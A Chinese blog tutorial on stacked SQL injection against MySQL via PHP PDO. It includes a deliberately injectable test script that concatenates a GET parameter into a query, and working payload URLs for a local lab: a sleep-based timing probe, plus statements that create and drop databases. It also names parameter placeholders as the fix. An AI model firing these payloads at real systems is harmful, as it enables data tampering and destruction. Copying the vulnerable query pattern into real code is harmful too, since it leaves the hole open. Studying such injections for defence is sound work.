堆叠注入

SQL注入之堆叠注入

之前一直以为堆叠注入不适合mysql数据库,实战中也没有尝试过堆叠注入,今天看书《web安全攻防 渗透测试指南》才发现原来mysql也可以。

问题原因:

    1、使用PDO方式查询数据。

    2、从客户端获取的参数未进行处理直接拼接到sql语句中。

解决办法:使用PDO方式查询数据的时候使用占位符。

   PDO方式查询数据能执行多行语句,但是只能返回第一条的结果。所以如果用堆叠注入的话,要用时间注入。

  测试代码:

$host = "127.0.0.1";

                    $port = "3306"; //

                    $username = "root";

                    $password = "root";

                    $dbname = "information_schema";

                    $charset = "utf8";

                    $dsn = "mysql:dbname=$dbname;host=$host";

      try{

            $pdo = new Pdo($dsn, $username, $password);

            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    // 设置sql语句查询如果出现问题 就会抛出异常

            set_exception_handler("cus_exception_handler");

        } catch(PDOException $e){

                die("连接失败: ".$e->getMessage());

        }

        function cus_exception_handler($e)

        {

              die("sql 异常: ".$e->getMessage());

        }

        //查询数据

        $query1 = "select * from schemata where schema_name='".$_GET['table']."'";

        $state = $pdo->query($query1);

        echo $query1."


";

      //  query执行一条SQL语句,如果通过,则返回一个PDOStatement对象,可以直接遍历这个返回的记录集 (query用于select)

        $res = $state->fetch(PDO::FETCH_ASSOC);      // 获取结果集中的一行数据

        print_r($res);

?>

测试语句1:http://127.0.0.1/phpinfo.phP?table=mysql

堆叠注入_第1张图片

测试语句2:http://127.0.0.1/phpinfo.phP?table=mysql%27;select%20sleep(5)%20%23

堆叠注入_第2张图片

对比之下可以看到第二个语句执行成功。剩下的就跟平时的时间注入一样了。

更新信息:堆叠注入危害比其他的注入危害高,如果mysql用户权限足够,可以执行添加删除数据库的操作。

创建数据库:127.0.0.1/phpinfo.phP?table=mysql';create database test --+

删除数据库:127.0.0.1/phpinfo.phP?table=mysql';drop database test --+

你可能感兴趣的:(堆叠注入)